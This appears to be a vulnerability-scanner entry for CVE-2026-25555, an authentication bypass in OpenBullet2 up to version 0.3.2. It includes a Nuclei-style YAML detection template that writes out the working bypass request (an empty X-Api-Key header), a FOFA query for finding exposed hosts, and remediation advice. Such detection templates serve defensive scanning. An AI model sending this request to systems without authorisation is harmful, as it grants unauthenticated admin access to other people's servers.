OpenBullet2 <= 0.3.2 - Authentication Bypass
CVE-2026-25555
Verified
Description
OpenBullet2 <= 0.3.2 contains an authentication bypass caused by improper API key authentication middleware handling empty X-Api-Key header, letting unauthenticated attackers gain admin access, exploit requires sending empty X-Api-Key header.
Severity
Critical
CVSS Score
9.8
Exploit Probability
2%
Affected Product
openbullet2
Published Date
June 16, 2026
Template Author
0x_akoko
CVE-2026-25555.yaml
id: CVE-2026-25555
info:
name: OpenBullet2 <= 0.3.2 - Authentication Bypass
author: 0x_Akoko
severity: critical
description: |
OpenBullet2 <= 0.3.2 contains an authentication bypass caused by improper API key authentication middleware handling empty X-Api-Key header, letting unauthenticated attackers gain admin access, exploit requires sending empty X-Api-Key header.
impact: |
Unauthenticated attackers can gain full admin access, compromising the entire system and API endpoints.
remediation: |
Update to a version later than 0.3.2 or the latest available version.
reference:
- https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2
- https://nvd.nist.gov/vuln/detail/CVE-2026-25555
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-25555
epss-score: 0.01824
epss-percentile: 0.76534
cwe-id: CWE-287
metadata:
verified: false
max-request: 1
vendor: openbullet
product: openbullet2
fofa-query: title="Openbullet2WebClient"
tags: cve,cve2026,openbullet2,auth-bypass,unauth
http:
- raw:
- |
GET /api/v1/info/server HTTP/1.1
Host: {{Hostname}}
X-Api-Key:
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"operatingSystem\"", "\"buildNumber\"", "\"currentWorkingDirectory\"")'
condition: and
# digest: 490a0046304402200e776905ddea91cadd837083b9a5aa48bb24daecb35b377acf51c85b6c6dac8902203ab910720ed06fbebb9d3764d6ac819300e5c433f3879911e083f84e31c80fd9:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-25555
CWE ID:
cwe-287
Remediation Steps
Update to a version later than 0.3.2 or the latest available version.